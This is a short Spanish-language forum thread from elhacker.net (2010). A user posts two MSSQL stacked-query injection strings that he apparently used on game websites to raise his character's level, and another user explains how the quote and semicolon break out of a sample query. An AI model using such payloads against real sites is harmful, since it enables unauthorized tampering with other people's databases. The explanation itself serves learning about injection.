Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: PHAMTOM en 7 Mayo 2010, 02:39 am



Título: Pregunta Mssql inject.
Publicado por: PHAMTOM en 7 Mayo 2010, 02:39 am
Buenas,estaba revisando unas inyecciones sql para un juego ..

y e encontrado 2 tipos de inyecciones,en algunas webs funciona una y en otras funciona otra.

las 2 inyecciones son las siguientes :


' update character set clevel=400 where name = 'PHAMTOM'        //Esta inyeccion me edita el nivel.
'x'; update character set clevel=400 where name = 'PHAMTOM'     // esta inyeccion me edita el nivel.

yo sé que el " ; " sirve para terminar una sentencia , y poder empezar la otra pero no le veo explicación al  " 'x' "

saludos.PHAMTOM


Título: Re: Pregunta Mssql inject.
Publicado por: WHK en 8 Mayo 2010, 02:49 am
el ; no funciona en todas las webs porque el driver de musql por defecto en php no la reconoce como parte de una sentencia, en php+mysql el ; no existe.

para entender el X debes saber lenguaje sql.

Citar
select * from usuarios where name='$nombre'

Citar
select * from usuarios where name='x'; update character set clevel=400 where name = 'PHAMTOM' -- '